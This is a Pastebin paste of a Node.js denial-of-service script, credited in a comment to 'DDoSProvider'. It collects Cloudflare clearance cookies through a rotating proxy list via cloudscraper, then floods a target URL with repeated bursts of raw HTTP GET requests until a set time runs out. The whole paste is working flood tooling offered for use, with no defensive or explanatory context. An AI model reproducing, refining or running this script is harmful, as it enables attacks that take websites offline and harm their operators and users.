Advertisement
Arbitrator

Untitled

Jan 3rd, 2020
9,462
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.33 KB | None | 0 0
  1. const EventEmitter = require('events');
  2. const emitter = new EventEmitter();
  3. emitter.setMaxListeners(Number.POSITIVE_INFINITY);
  4. var fs = require('fs');
  5. let net = require('net');
  6. var proxies = fs.readFileSync(process.argv[4], 'utf-8').replace(/\r/g, '').split('\n');
  7. //By DDoSProvider @ddosprovider
  8. process.on('uncaughtException', function (err) {
  9. // console.log(err);
  10. });
  11.  
  12. process.on('unhandledRejection', function (err) {
  13. // console.log(err);
  14. });
  15.  
  16. var cloudscraper = require('cloudscraper');
  17. const url = require('url');
  18. var p = process.argv[2];
  19. var target = p.replace('https', 'http');
  20. var time = process.argv[3];
  21. var { host } = url.parse(target);
  22. var { path } = url.parse(target);
  23. let cookies = [];
  24.  
  25. setInterval(() => {
  26. let proxy = proxies[Math.floor(Math.random() * proxies.length)];
  27. cloudscraper.get({
  28. url: target,
  29. proxy: 'http://' + proxy
  30. }, function (error, response) {
  31. if (response && response.request.headers.cookie) {
  32. let cookie = response.request.headers.cookie;
  33. let ua = response.request.headers['User-Agent'];
  34. cookies.push({ cookie, ua, proxy });
  35. }
  36. });
  37. });
  38. var counter = 0;
  39.  
  40. function send(cookie, proxy, ua) {
  41. let [ip, port] = proxy.split(':');
  42. var s = net.Socket();
  43.  
  44. s.connect(port, ip);
  45.  
  46. s.once('error', err => {
  47. console.log('Error : ' + ip + ":" + port);
  48. });
  49.  
  50. s.once('disconnect', () => {
  51. console.log('Disconnect');
  52. });
  53.  
  54. s.once('data', data => {
  55. console.log('Connected : ' + ip + ":" + port + " : " + cookie);
  56. setTimeout(() => {
  57. s.destroy();
  58. delete s;
  59. send(cookie, proxy, ua);
  60. }, 5000);
  61. });
  62.  
  63. for (var i = 0; i < 7; i++) {
  64. s.write('GET ' + path + ' HTTP/1.1\r\nHost: ' + host + '\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*//*;q=0.8\r\nUser-Agent: ' + ua + '\r\nUpgrade-Insecure-Requests: 1\r\nCookie: ' + cookie + '\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nCookie: iuitgG9AgBmgKAYktxs3pjK6omgKy4t9=YES; chRWE9JVf8YNPGZ4Xa4RgopoJfAnZJ6q=9e40cadea88a3dd8f537f0cf07b08766\r\nAccept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3\r\ncache-Control: max-age=0\r\n\r\n');
  65. }
  66. }
  67.  
  68. var int = setInterval(() => {
  69. cookies.forEach(json => {
  70. send(json.cookie, json.proxy, json.ua);
  71. });
  72. }, 3);
  73.  
  74. setTimeout(() => {
  75. process.exit(1);
  76. }, time * 1000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement